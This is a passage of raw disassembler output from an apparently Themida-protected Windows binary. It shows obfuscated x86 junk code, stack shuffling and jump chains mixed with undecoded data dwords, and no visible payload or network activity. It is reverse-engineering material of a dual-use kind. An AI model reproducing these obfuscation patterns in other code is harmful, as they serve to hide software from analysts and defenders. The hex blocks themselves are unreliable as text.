8AC68059h, 26BCE9h, 0E9F30100h, 0FFFFEBE4h dd 8304C483h, 0C8704E9h, 24248B24h, 89242C89h, 80BA52E5h dd 4266D85Fh, 73B9C281h, 0EAC16476h, 0D1C28104h, 1F34B12h dd 0ED815AD5h, 4, 8B242C87h, 14892424h, 3419E924h, 0EF810000h dd 4A032B05h, 4F3BC381h, 0FB0125A6h, 6ED9E9h, 0C4C78000h dd 0EF80F700h, 0F8005AC4h, 83241C8Bh, 0C38004C4h, 6FB2524Fh dd 0FFCF9AE9h db 0FFh ; --------------------------------------------------------------------------- loc_54B0D5: ; CODE XREF: Themida_:0054D3EBj push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp mov [esp], edi push esp push dword ptr [esp] jmp loc_54ADFF ; --------------------------------------------------------------------------- dw 840Fh dd 0FFFFCA67h, 4F54EE81h, 0A6E901AAh db 54h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B0FB: ; CODE XREF: Themida_:00546E01j mov edx, 3506CE7h jmp loc_54BB22 ; --------------------------------------------------------------------------- loc_54B105: ; CODE XREF: Themida_:00550ED8j mov esi, esp add esi, 4 add esi, 4 jmp loc_54A219 ; --------------------------------------------------------------------------- db 5Bh, 0E9h, 4Dh dd 8BFFFFFFh, 26E92414h, 59FFFFD1h, 6805E0D1h, 897BBAEFh dd 0F28158C2h, 47936A90h, 5602E2C1h, 2B8EE9h, 4EC8100h dd 0E9000000h, 52A6h, 0E9C0D9F6h, 0CEBFE908h, 15FFFFFh dd 242C8BEEh, 4C481h, 89560000h, 4C681E6h, 83000000h, 348704EEh dd 2C895C24h, 2BD24h, 0C6810000h, 7E4C662Eh, 0EE81EE01h dd 7E4C662Eh, 0E9242C8Bh, 0FFFFE995h, 8124348Bh, 4C4h dd 0D3015D00h, 4EC81h, 14890000h, 51C68824h, 0B9h, 9C18100h dd 127F418h, 9E981D9h, 8827F418h, 0E95A5931h, 3A00h, 662414F6h dd 0ECF2805Ah, 5556E9h, 719F3500h, 0D8F7359Fh, 503E8C1h dd 0E209AD15h, 0E958C629h, 2A73h, 116868h, 6787E900h, 0F7810000h dd 0F1D2566h, 0FFC6BBE9h, 4C381FFh, 81000000h, 4EBh, 0EB36E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B20A: ; CODE XREF: Themida_:00550C0Cj add ecx, 5FC34A02h pop edx sub [esp+4], ecx pop ecx pop eax jmp loc_54AA84 ; --------------------------------------------------------------------------- loc_54B21C: ; CODE XREF: Themida_:005519A5j xor eax, edx xor edx, eax xor eax, edx jmp loc_54ADB0 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 24348900h, 6E15E9h db 0 ; --------------------------------------------------------------------------- loc_54B235: ; CODE XREF: Themida_:0054DA25j mov ebp, [esp] add esp, 4 push 450Dh jmp loc_54AC85 ; --------------------------------------------------------------------------- loc_54B245: ; CODE XREF: Themida_:0054E201j mov [esp], eax mov eax, 4 sub ebx, 1D2C0F23h add ebx, eax add ebx, 1D2C0F23h mov eax, [esp] add esp, 4 xchg ebx, [esp] pop esp or eax, eax jz loc_54D849 push dword ptr [edi+1Ch] push ebx mov ebx, 72C2507Fh sub [esp+4], ebx mov ebx, [esp] jmp loc_54A15A ; --------------------------------------------------------------------------- db 0BDh, 0DBh, 0B0h dd 0EA29CF65h, 0E9D0015Dh, 2A6Ah ; --------------------------------------------------------------------------- loc_54B294: ; CODE XREF: Themida_:00550029j push 6BC2h mov [esp], ebx mov ebx, 6DF92125h mov edx, ebx pop ebx push 6DF92124h jmp loc_5503CB ; --------------------------------------------------------------------------- loc_54B2AE: ; CODE XREF: Themida_:0054BFBDj mov ebx, edi jmp loc_547E33 ; --------------------------------------------------------------------------- aXsU db 'XéÙU',0 dw 5000h dd 613294B8h, 0B7792D3Bh, 0AAE9E10Eh, 5B000044h, 0BFB35351h dd 88E5EB80h, 5EE95BD9h, 68000057h, 3D97h, 68241C89h, 4075h dd 575DE9h, 243C3100h, 0FFBC8BE9h, 2434FFFFh, 4C4815Eh db 3 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_54D31C ; --------------------------------------------------------------------------- db 53h, 0BBh, 0E9h dd 5361A16Eh, 0FFE314E9h, 242C8BFFh, 5104C483h, 90234EB9h dd 0BE56534Ch, 2ACF2335h, 0C15EF389h, 0C38106E3h, 4D724AEDh dd 6FE9D931h, 8100000Fh, 210828CFh, 0F7814F2Bh, 1C311817h dd 515FF801h, 615EE9h, 0DEF74600h, 122FE9h, 7B89BF00h dd 2DE97A80h db 0Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B367: ; CODE XREF: Themida_:0054AF61j or eax, 6AA66981h jmp loc_54D05C ; --------------------------------------------------------------------------- loc_54B371: ; CODE XREF: Themida_:0054D1B2j mov edi, 8F01E23h add edi, 1 sub edi, 1 jmp loc_54C3FC ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 81242C8Bh, 4C4h, 0ACACE900h, 0FA01FFFFh, 31A7C281h dd 515F1A67h, 4B9h, 0C5BFE900h, 248BFFFFh, 4C38124h, 0E9000000h dd 5164h, 0F7EE874Eh, 8B5556D5h, 0C4812434h, 4, 0FFFA20E9h db 0FFh ; --------------------------------------------------------------------------- loc_54B3C9: ; CODE XREF: Themida_:0054F456j mov [esp], edx mov edx, 0FFFFFFFFh jmp loc_549972 ; --------------------------------------------------------------------------- dw 71B9h dd 810FF64Ch, 0CD095BF1h, 7BE18143h, 813D846Fh, 0CB1B44E1h dd 3C87514Dh, 87D7F724h, 5359243Ch, 8572D3BBh, 62E94B6Ah dd 0C1000049h, 0C58105E5h, 0FFFFFFFFh, 0FFF75BE9h, 0ED8166FFh dd 31661D75h, 66505DEFh, 8966F889h, 34FF58C1h, 0C4835F24h dd 66536604h, 6627E8BBh, 69E9D921h, 4A00003Ch, 0DFB6C281h dd 0A6E98505h, 59000016h, 4C481h, 68570000h, 51B3h, 0E9242489h dd 4CAFh, 89242C89h, 4EC83E5h, 51243489h, 0DE264DB9h, 0C5F1814Dh dd 81527B3Bh, 0A51D8CF1h, 59CE891Fh, 4605ED81h, 7FE94181h dd 0FE000005h, 8EC480CCh, 8005E4C0h, 0DCF696F4h, 286CEC80h dd 3142E9E3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B49A: ; CODE XREF: Themida_:0054887Bj mov [esp], ebx push edx mov edx, 61652A93h sub edx, 20E779CFh jmp loc_54B829 ; --------------------------------------------------------------------------- dw 0F66h dd 686600B6h, 89663607h, 68E92404h, 80FFFFCCh, 0EEC0EDE6h dd 81E95008h db 0BFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B4CB: ; CODE XREF: Themida_:00546B07j shr edx, 1 cmp eax, edx jmp loc_54FE50 ; --------------------------------------------------------------------------- loc_54B4D4: ; CODE XREF: Themida_:0054D393j mov [esp], ebx mov ebx, ebp push ebx xor dword ptr [esp], 73633CF7h pop edx xor edx, 73633CF7h pop ebx mov ebp, [esp] jmp loc_551230 ; --------------------------------------------------------------------------- db 32h, 1Ch, 24h dd 52241C30h, 5266DE88h, 12454F6h, 64CBE9h, 0AB34E900h dd 0C481FFFFh, 4, 0CA1DE953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B516: ; CODE XREF: Themida_:00548922j sub al, bh pop bx mov bx, [esp] push ebx push esp pop ebx add ebx, 4 add ebx, 2 xchg ebx, [esp] mov esp, [esp] push edx jmp loc_551726 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 4C481h, 63E90000h, 0BB000010h, 642D6315h, 2E76E9h, 3BC18000h dd 59CF28h, 0C2805BFAh, 5AD70038h, 64E9F828h, 66FFFFFDh dd 6824048Bh, 6964h, 0E9243489h, 1783h ; --------------------------------------------------------------------------- loc_54B578: ; CODE XREF: Themida_:005480A5j push dword ptr [esp] pop ebp jmp loc_551222 ; --------------------------------------------------------------------------- db 5Bh, 29h, 0F8h dd 370EE95Fh, 14F70000h, 0ACE95E24h, 81FFFFBFh, 0E0080DC3h dd 81F3015Dh, 0E0080DEBh, 0EC815E5Dh, 4, 0E9243C89h, 0FFFFE2AAh dd 5A66D028h, 20DFE9h, 4E9C100h, 0FFC680E9h, 220468FFh dd 8BE94DB7h, 66000010h, 0E924048Bh, 0FFFFC0EDh ; --------------------------------------------------------------------------- loc_54B5D4: ; CODE XREF: Themida_:0054ED93j shl edx, 8 jmp loc_54FAA2 ; --------------------------------------------------------------------------- loc_54B5DC: ; CODE XREF: Themida_:00550B04j mov [esp], edi mov edi, 9584000h xor ebx, edi pop edi and eax, ebx pop ebx shr eax, 0Eh xor eax, ecx push 1C3Eh mov [esp], eax xor [esp], eax xor eax, [esp] jmp loc_5519A2 ; --------------------------------------------------------------------------- dw 0E781h dd 4D892255h, 38D1C781h, 52E9401Dh, 81000026h, 22972404h dd 0F96870A9h, 0E9000035h, 1B1Fh, 5D2434FFh, 3304C483h dd 4312404h, 24043324h, 2424D35Ch, 0AA00E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B63E: ; CODE XREF: Themida_:00547E56j push edi mov edi, 502F22DEh xor ebp, edi pop edi not ebp sub ebp, 0D5A7DC42h mov ebx, ebp jmp loc_551D85 ; --------------------------------------------------------------------------- dw 0B850h dd 41BD4D93h, 927DEF35h, 331C355Ah, 8FE96976h, 86FFFFC1h dd 66D3F6D8h, 4DCEE952h, 5660000h, 8B664F59h, 8950241Ch dd 405E0h, 0A6E90000h, 81000002h, 0BC0DD5E1h, 3D72E942h dd 0E7890000h, 4C781h, 0C7830000h, 243C3304h, 33243C31h dd 248B243Ch, 4E336824h, 2C890000h, 38685124h, 8900006Ah dd 4812424h, 424h, 240C8B00h, 4C481h, 0C1810000h, 4, 4E981h dd 0C870000h, 1C895C24h, 588C6824h, 0E95B5072h, 0FFFFB58Eh dd 5024148Bh, 2DAE9h, 0FF575E00h, 5F042474h, 5C24048Fh dd 24048966h, 0FFA935E9h, 0BAB951FFh, 530D216Ah, 3B6B4FBBh dd 4EE3810Ch, 0E919645Ch, 0FFFFE602h, 0FF2434FFh, 0C8B2434h dd 0BCE7E924h, 5450FFFFh, 4EC8358h, 51242C89h, 0CFDE9h dd 6AE9AC00h, 0B6000064h, 0BEE9514Ch db 53h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B74B: ; CODE XREF: Themida_:0054AA9Dj push edi jmp loc_54997E ; --------------------------------------------------------------------------- loc_54B751: ; CODE XREF: Themida_:0054B7B1j mov edx, 0F214BAEDh xor eax, edx pop edx sub edx, eax jmp loc_548B66 ; --------------------------------------------------------------------------- dd 2BBh, 1953E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B76A: ; CODE XREF: Themida_:0054992Fj pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_54E63B ; --------------------------------------------------------------------------- dd 68240C89h, 7634h, 0B7241C89h, 42EF807Ch, 0E780CFFEh dd 0BAEF807Fh, 1C8BF988h, 4C48124h, 80000000h, 0C5E966C9h db 41h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B7AB: ; CODE XREF: Themida_:005507D0j mov eax, 0FAA31CBh push edx jmp loc_54B751 ; --------------------------------------------------------------------------- dw 48BEh dd 0E911A552h, 1DD6h, 393D68h, 0A948E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B7CA: ; CODE XREF: Themida_:0054D02Fj push edi mov edi, 4 jmp loc_54EF7B ; --------------------------------------------------------------------------- loc_54B7D5: ; CODE XREF: Themida_:00547D72j add edi, 4 add edi, 4 jmp loc_54EDC3 ; --------------------------------------------------------------------------- db 0BEh dd 791D3980h, 98E9F001h, 66FFFFC3h, 5524048Bh, 13DBE954h dd 38BA0000h, 81000000h, 846DCDC2h, 27F6E903h, 8F580000h dd 805C2404h, 0D828BCC3h, 8B2434FFh, 0C483241Ch, 4C48104h dd 51000000h, 54D2E9h db 0 ; --------------------------------------------------------------------------- loc_54B829: ; CODE XREF: Themida_:0054B4A9j add edx, 1 sub edx, 0B233628h sub edx, 21161F31h not edx jmp loc_54D9A0 ; --------------------------------------------------------------------------- dw 0C281h dd 0FFFFFFFFh, 36DC68h, 241C8900h, 0A0E9E389h, 80FFFFD1h dd 0F68086E6h, 734568D3h, 1C890000h, 0DC76E924h, 0C768FFFFh dd 89000075h, 89562404h, 4C681E6h, 0E9000000h, 1135h ; --------------------------------------------------------------------------- loc_54B880: ; CODE XREF: Themida_:005511C7j mov esi, 796B3FF8h jmp loc_550C22 ; --------------------------------------------------------------------------- loc_54B88A: ; CODE XREF: Themida_:0054B92Cj mov [esp], edi mov edi, 100h and eax, edi push dword ptr [esp] push dword ptr [esp] pop edi jmp loc_54B002 ; --------------------------------------------------------------------------- loc_54B8A0: ; CODE XREF: Themida_:0054A74Cj sub ecx, 4 xchg ecx, [esp] jmp loc_547B2A ; --------------------------------------------------------------------------- db 0FFh dd 8BE92C77h db 0A7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B8B3: ; CODE XREF: Themida_:0054CD72j add edi, 4 push ebx jmp loc_551CA8 ; --------------------------------------------------------------------------- aZh db ',¾Zh{|',0 dw 8900h dd 5052241Ch, 0E6882FB4h, 5A27E958h, 34FF0000h, 24048B24h dd 8304C483h, 57E904C4h, 59FFFFA7h, 0FFD6B7E9h, 5557ADFFh dd 0FFE1C6E9h, 240489FFh, 42474FFh, 24048F58h, 630AE95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B906: ; CODE XREF: Themida_:00551456j mov [esp], ebx push 53F3h push esp pop dword ptr [esp] add dword ptr [esp], 4 mov ebx, [esp] add esp, 4 add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp jmp loc_54B88A ; --------------------------------------------------------------------------- dd offset dword_4CE72C+22Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B937: ; CODE XREF: Themida_:00548E09j pop esp jmp loc_550E91 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 aHb_0 db '$hB',9,0 align 2 dw 2C89h dd 81E58924h, 4ECh, 0F06CE900h, 0C301FFFFh, 20E4EB81h dd 0E9587350h, 0FFFFB912h ; --------------------------------------------------------------------------- loc_54B964: ; CODE XREF: Themida_:0054863Cj shr esi, 3 dec esi jmp loc_5467E8 ; --------------------------------------------------------------------------- loc_54B96D: ; CODE XREF: Themida_:00549AB6j push 6C22h mov [esp], edx mov dh, 75h jmp loc_54EC81 ; --------------------------------------------------------------------------- dd 4E95158h, 0BEFFFFE9h, 2, 0F564222Dh, 5F0010Fh, 0FF56422h dd 2404875Eh, 3C05665Ch, 0B058E96Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B9A2: ; CODE XREF: Themida_:00549200j add esp, 4 add esp, 4 push edi mov edi, 5E0A607Dh jmp loc_54902B ; --------------------------------------------------------------------------- loc_54B9B6: ; CODE XREF: Themida_:0054C70Dj push esp pop esi add esi, 4 sub esi, 4 xchg esi, [esp] mov esp, [esp] jmp loc_54C8B6 ; --------------------------------------------------------------------------- db 89h dd 405E0h, 0FEE90000h, 2DFFFFEDh, 1C5A52A0h, 158C389h dd 0E9505BDDh, 0FFFFC57Bh, 2C8BEA01h, 4C48124h, 81000000h dd 2C2h, 1B80E900h, 0F5010000h, 4605C581h, 835E4181h, 9EE904ECh dd 9FFFFC5h, 0F1815FF9h, 787E69FBh, 0FDE9C889h db 5Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_54BA23: ; CODE XREF: Themida_:0054E756j push ebp mov ebp, 539540C7h mov ecx, 7DE9BDDDh sub ecx, ebp pop ebp jmp loc_54AFE2 ; --------------------------------------------------------------------------- dw 1C8Bh dd 4C48324h, 6602EC83h, 68241C89h, 75D8h, 0B2241489h, 0E9D2B356h dd 0FFFFA783h, 4BB53h, 0EA810000h, 0D8D06ACh, 5157DA01h dd 22181EB9h, 4EC832Ah, 0E9243C89h, 1ABBh ; --------------------------------------------------------------------------- loc_54BA74: ; CODE XREF: Themida_:00549737j xor esi, ebp sub esp, 4 mov [esp], edx push esp jmp loc_54AEEA ; --------------------------------------------------------------------------- loc_54BA85: ; CODE XREF: Themida_:0054CBF3j mov eax, [esp] jmp loc_5518A9 ; --------------------------------------------------------------------------- db 5Fh, 51h, 89h dd 0B271E9E1h, 6BB9FFFFh, 8173DF51h, 8F504FF1h, 59CF0951h dd 0FFB5C1E9h, 80DDF6FFh, 0EA00FCEDh, 0FFD03059h, 535A2434h dd 67F2E9h, 0EAE95800h, 8900002Ah, 0A0E9241Ch, 4300005Bh dd 6854E9h, 0B9515200h, 56061872h, 1870F181h, 0CA895606h dd 83240C8Bh, 0D00104C4h, 58BBE95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_54BAEE: ; CODE XREF: Themida_:0054E53Dj mov ebp, 2DCC38CFh jmp loc_54DFA9 ; --------------------------------------------------------------------------- dd 8B243487h, 0D4E92424h, 0C1FFFFEEh, 0E95308E0h, 3D91h dd 81D830ACh, 4ECh, 240C8900h, 7F3168h, 0EF4E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54BB22: ; CODE XREF: Themida_:0054B100j add edx, 51F60C8Ah push eax mov eax, 746E4CC6h sub edx, 137731FDh sub edx, eax add edx, 137731FDh pop eax neg edx xor edx, 24622F8Ah push ebx mov ebx, 3A63374Dh or ebx, 4B8951B7h jmp loc_54FF08 ; --------------------------------------------------------------------------- dw 0C781h dd 3FF37669h, 0E7C1D7F7h, 4EEC6808h, 2C890000h, 5CA5E924h dd 3CB80000h, 0E939B10Fh, 0FFFFF051h, 5D05D001h, 5A3BE964h dd 2474FF50h, 48F5804h, 24248B24h, 240C8B66h, 8904EC83h dd 8B542404h, 0C4832404h, 40504h, 8B680000h, 8900007Dh dd 7968242Ch, 8900003Ch, 0B868241Ch, 5B63D178h, 0F381DBF7h dd 9C2E874Ah, 15BDD89h, 242C8BE8h, 4C481h, 67680000h, 0E900004Bh dd 0FFFFFD1Dh, 4C181h, 0E9680000h, 8900004Bh, 0EABD242Ch dd 5305D214h, 0A31843BBh, 5BDD3104h, 0EDD1DDF7h, 79A9F581h dd 0E9817F47h, 57091424h, 5AB6E981h, 0C181530Bh, 522A3DC5h dd 0EC83E901h, 24348904h, 796624BEh, 0E1F68133h, 2961535Bh dd 0C1815EF1h, 530B5AB6h, 1424C181h, 875D5709h, 665C240Ch dd 9C240401h, 0FFA3FDE9h, 88CE88FFh, 805B66D9h, 38E98AE9h dd 81FFFFCCh, 0AE46E4C5h, 2C5DE94Fh, 0C4810000h, 4, 5C241487h dd 582434FFh, 216568h, 24348900h, 15D68h, 54436800h, 24890000h dd 24048124h, 4, 5124048Fh, 4B9h, 244C0100h, 0E95E5904h dd 1D72h, 19E968h, 24148900h, 30B668h, 24048900h, 0F553B2B8h dd 534CBA3Dh, 0C2313DF5h, 582434FFh, 4C481h, 81E90000h dd 5E000020h, 34FFD021h, 8AE95A24h, 28FFFFE7h, 0BBE95AD3h dd 0E9000065h, 0FFFFA362h, 0C281E289h, 4, 4EA81h, 14870000h dd 34895C24h, 535E5424h, 0B17777BBh, 4E3C145h, 0C83EB81h dd 0E9562F7Fh, 0FFFFC1D4h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_550053 ; --------------------------------------------------------------------------- dd 42C5C781h, 0F9891C61h, 78CE9h, 81C60100h, 5D3C0BEEh dd 57EE8134h, 507BD24Ah, 0CF8AE956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BD32: ; CODE XREF: Themida_:0054C18Fj shl dl, 4 shr dl, 8 add dl, 0FFh jmp loc_54F3A2 ; --------------------------------------------------------------------------- aIcsrc db '‰æéàC',0 db 0 ; --------------------------------------------------------------------------- loc_54BD47: ; CODE XREF: Themida_:0054BED9j sub edi, 7083194h inc edi push eax mov eax, 1FDF354Ch shl eax, 4 sub eax, 98643C9Fh and edi, eax jmp loc_551AFC ; --------------------------------------------------------------------------- db 2Ch dd 4B70475h, 0A2F1E9D3h, 0C481FFFFh, 4, 0A5685053h, 0E91C5A52h dd 0FFFFB94Fh, 81B67FB7h, 0E95BFE28h, 5DF2h, 5DEB895Dh dd 4245C01h, 0D505E95Bh, 42DFFFFh, 5732216h, 4A715D8Dh dd 4DE5E9h, 0C5E95000h, 0C00003Eh, 2C8A24A2h, 0E9C20063h dd 0FFFFFBC0h, 0C021CA80h, 0FA8605EAh, 0FA86DFF6h, 0F1E95266h dd 0BFFFFFF3h, 0D4ED8041h, 15EF701h, 0EB835FFBh, 74FF5304h dd 0CAE90424h, 8100001Bh, 8173E4F7h, 0D2F7813Ah, 0C1636E13h dd 0CF8106EFh, 777157B0h, 655BE94Fh, 0C1010000h, 240C8758h dd 3124248Bh, 0E99C2404h, 0FFFFA22Ah, 0DD88F388h, 0FFC5A1E9h dd 4C483FFh, 4BE56h, 0F7010000h, 0FFF04DE9h, 243C8BFFh dd 8304C483h, 0C3304C1h, 240C3124h, 8B240C33h, 0E9552424h dd 2F05h, 290DE957h, 34890000h, 499BE24h, 0EE81066Ah, 0F272FAACh dd 2692E9h, 48B6600h, 0EC835724h, 24248904h, 4240481h dd 5F000000h, 7C8668h, 42C3E900h, 1C8B0000h, 0BAE95724h dd 81FFFFBFh, 8A4C77EBh, 0D84BE912h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BE92: ; CODE XREF: Themida_:005518EFj sub ebp, 3024145Dh add ebp, edx add ebp, 3024145Dh pop edx xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_54CD8C ; --------------------------------------------------------------------------- db 81h dd 4C4h, 5520E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54BEBA: ; CODE XREF: Themida_:0055139Aj xchg edx, [esp] pop esp jmp loc_54FA46 ; --------------------------------------------------------------------------- db 5Ch dd 0FFA175E9h, 0E95A66FFh, 0FFFFAB0Ah ; --------------------------------------------------------------------------- loc_54BED0: ; CODE XREF: Themida_:0054D622j push edi mov edi, 1E37A1Dh shl edi, 4 jmp loc_54BD47 ; --------------------------------------------------------------------------- dw 815Dh dd 4C5h, 4EC8100h, 89000000h, 0B850243Ch, 519943C4h, 9943C0BFh dd 58C73151h, 335FFD01h, 2C31242Ch, 0E3DBE924h, 0DE01FFFFh dd 3088EE81h, 0EE8157B4h, 4D760176h, 2698EE81h, 0C681264Dh dd 44BA7C1Ah, 5B2434FFh, 20C0E9h, 78BE5600h, 81529E04h dd 0BC127CF6h, 5EF00121h, 81243C8Bh, 4C4h, 10AA0500h, 895203E9h dd 4C281E2h, 83000000h, 148704EAh, 34FDE924h, 0B0BD0000h dd 530CC425h, 6A5BD3BBh, 0BDC38145h, 81124F5Ah, 0A45465E3h dd 0FF0DE917h, 51ADFFFFh, 1308E9h, 30C38100h, 9BDADC8h dd 0DFF75BDFh, 0D40BF781h, 0EA81A400h, 1A6731A7h, 0FFF3F5E9h db 0FFh ; --------------------------------------------------------------------------- loc_54BF9D: ; CODE XREF: Themida_:005518A4j mov esi, esp jmp loc_54EA1F ; --------------------------------------------------------------------------- loc_54BFA4: ; CODE XREF: Themida_:00548C35j and edi, 37AF1448h and edi, 255A789Dh and edi, 4C716B4Ah dec edi xor edi, 6BBBFC83h jmp loc_54B2AE ; --------------------------------------------------------------------------- aIcsu db '‰æéã',0Bh,0 dd 0C8B6600h, 0A878E924h, 4FBAFFFFh, 0E97AFA20h, 0FFFFF45Bh ; --------------------------------------------------------------------------- loc_54BFDC: ; CODE XREF: Themida_:0054A95Aj mov ecx, esp push eax jmp loc_547F9E ; --------------------------------------------------------------------------- dd 81DFF747h, 0B95039CFh, 3E7C139h, 4159E9h db 0 ; --------------------------------------------------------------------------- loc_54BFF5: ; CODE XREF: Themida_:00548634j and bl, dl pop edx jmp loc_5480AA ; --------------------------------------------------------------------------- loc_54BFFD: ; CODE XREF: Themida_:00547988j xor esi, [esp] mov esp, [esp] loc_54C003: ; CODE XREF: Themida_:00548078j push 1514h mov [esp], ebx mov eax, [esp] push ebx mov ebx, esp jmp loc_548F15 ; --------------------------------------------------------------------------- loc_54C016: ; CODE XREF: Themida_:00546B4Cj and eax, ecx pop ecx push ebx push ebp push 7A77017Fh jmp loc_547E55 ; --------------------------------------------------------------------------- loc_54C025: ; CODE XREF: Themida_:005514AEj pop ebx push ebp push ebx jmp loc_548C28 ; --------------------------------------------------------------------------- loc_54C02D: ; CODE XREF: Themida_:00548F1Bj inc ebp push edx jmp loc_5501B7 ; --------------------------------------------------------------------------- dd 8124148Bh, 4C4h, 0BDBD5500h, 81433101h, 0E8582BEDh dd 0C1D5F709h, 0ED8105E5h, 981D8E25h, 28E9E931h, 0FFFFFFE7h dd 0C8B2434h, 4C48124h, 81000000h, 4C4h, 0E3895300h, 4C381h dd 0B3E90000h, 66000054h, 68A0EF81h, 0DAEF8166h, 1C8B663Ah dd 2C48324h, 19F78166h, 0A416E97Dh, 34FFFFFFh, 54575824h dd 81243C8Bh, 4C4h, 0BE565500h, 66D35702h, 2B85CE81h, 0DEF731D4h dd 0BF57D6F7h, 67F40634h, 32EEE9h, 23166800h, 33E90000h dd 8100005Eh, 4C1h, 4E98300h, 0E9240C87h, 3CF8h, 0E95EF501h dd 0FFFFD6D3h ; --------------------------------------------------------------------------- loc_54C0E4: ; CODE XREF: Themida_:00551856j neg edi sub edi, 6A3B2167h jmp loc_54FC39 ; --------------------------------------------------------------------------- aIFysz? db 'ˆÎfYéz?',0 align 2 loc_54C0FA: ; CODE XREF: Themida_:0055040Cj push eax mov eax, 36146543h mov ebp, 36146547h xor ebp, eax mov eax, [esp] add esp, 4 add esi, ebp mov ebp, [esp] add esp, 4 jmp loc_547022 ; --------------------------------------------------------------------------- loc_54C11A: ; CODE XREF: Themida_:0054F8D9j pop edx shl edx, 4 jmp loc_5520BE ; --------------------------------------------------------------------------- db 56h dd 0FFEF14E9h db 0FFh ; --------------------------------------------------------------------------- loc_54C129: ; CODE XREF: Themida_:0054D162j mov esi, [esp] push ebx mov ebx, esp add ebx, 4 push 345Ah jmp loc_54F426 ; --------------------------------------------------------------------------- loc_54C13F: ; CODE XREF: Themida_:0054EDBEj sub ebx, 71F328D9h jmp loc_54F825 ; --------------------------------------------------------------------------- a0Sra db '0ØéRA',0 dd 0B6E95300h, 81FFFFCAh, 5B8C2404h, 48B6483h, 4C48324h dd 0E9E78957h, 0FFFFDAF1h, 9D1C77FFh, 1CD35966h, 0C3E99C24h dd 66FFFF9Eh, 68240C8Bh, 343Ch, 0E9241489h, 0FFFFAF2Fh ; --------------------------------------------------------------------------- loc_54C18C: ; CODE XREF: Themida_:0055006Fj push edx mov dl, 0A6h jmp loc_54BD32 ; --------------------------------------------------------------------------- dd 9147EF81h, 0FB8968BDh, 0E9F3015Fh, 0FFFFECBDh, 76B168h dd 242C8900h, 741B87BDh, 74C58136h, 45000D7Ch, 4C94F581h dd 0D5682F28h, 8900003Ch, 22E9243Ch, 53FFFFB5h, 0FFBC12E9h db 0FFh ; --------------------------------------------------------------------------- loc_54C1D1: ; CODE XREF: Themida_:00546479j push 3FBC502Fh pop ebx jmp loc_54C375 ; --------------------------------------------------------------------------- loc_54C1DC: ; CODE XREF: Themida_:00552304j or edi, 2EDB5995h push ecx jmp loc_551F53 ; --------------------------------------------------------------------------- dd 0C89665Ch, 0B60F6624h, 0D017E9C8h, 5266FFFFh, 0D788D8B2h dd 0F9285A66h, 59C8285Bh, 5166D828h, 0C80029B1h, 52665966h dd 3E7EE9h, 0E5C38000h, 0FFBFC4E9h db 0FFh ; --------------------------------------------------------------------------- loc_54C21D: ; CODE XREF: Themida_:005495C4j sub ebx, 0E5CD111Eh mov ecx, ebx pop ebx push edi jmp loc_5460CE ; --------------------------------------------------------------------------- dd 2B9h, 0E9535000h, 0FFFFF30Fh, 6824048Bh, 313Eh, 0E9240C89h dd 0FFFFC886h ; --------------------------------------------------------------------------- loc_54C248: ; CODE XREF: Themida_:005508F6j mov ecx, 4 sub edx, 67F1671Dh sub edx, ecx jmp loc_549EA5 ; --------------------------------------------------------------------------- loc_54C25A: ; CODE XREF: Themida_:00550A87j push esi push esp mov esi, [esp] jmp loc_5522F5 ; --------------------------------------------------------------------------- loc_54C264: ; CODE XREF: Themida_:00550B69j mov esi, 376C2CE9h add ebp, esi push dword ptr [esp] pop esi add esp, 4 add ecx, ebp push dword ptr [esp] pop ebp add esp, 4 sub esp, 4 mov [esp], esi push edx mov edx, 4 mov esi, edx pop edx and ecx, esi mov esi, [esp] jmp loc_548E7F ; --------------------------------------------------------------------------- dw 0E95Ch dd 0FFFFC8A3h, 81241C8Bh, 4C4h, 857E900h, 575B0000h, 0E37176BFh dd 0E9DFF718h, 0FFFFEF32h, 0B050C300h, 0E9062C0Fh, 88Ah dd 240C895Ch, 0FFF2F0E9h, 86E957FFh, 57FFFFF0h, 0CC6045BFh dd 5FF83141h, 0FFB542E9h db 0FFh ; --------------------------------------------------------------------------- loc_54C2E5: ; CODE XREF: Themida_:00549160j jnz loc_550C32 push 52ECh jmp loc_546ABA ; --------------------------------------------------------------------------- loc_54C2F5: ; CODE XREF: Themida_:00549C9Fj shl edx, 1 sub esp, 4 mov [esp], esi mov esi, 0FFFFFFFFh jmp loc_550EB3 ; --------------------------------------------------------------------------- loc_54C30A: ; CODE XREF: Themida_:00551EA0j shr ebx, 1 xor ebx, 308B5049h add ebx, 9B9DB339h add edi, ebx pop ebx add eax, edi jmp loc_54A729 ; --------------------------------------------------------------------------- dw 8B66h dd 83572414h, 48904ECh, 4727E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54C332: ; CODE XREF: Themida_:0055109Fj push edi mov edi, 4 add ebp, edi jmp loc_54DCE9 ; --------------------------------------------------------------------------- db 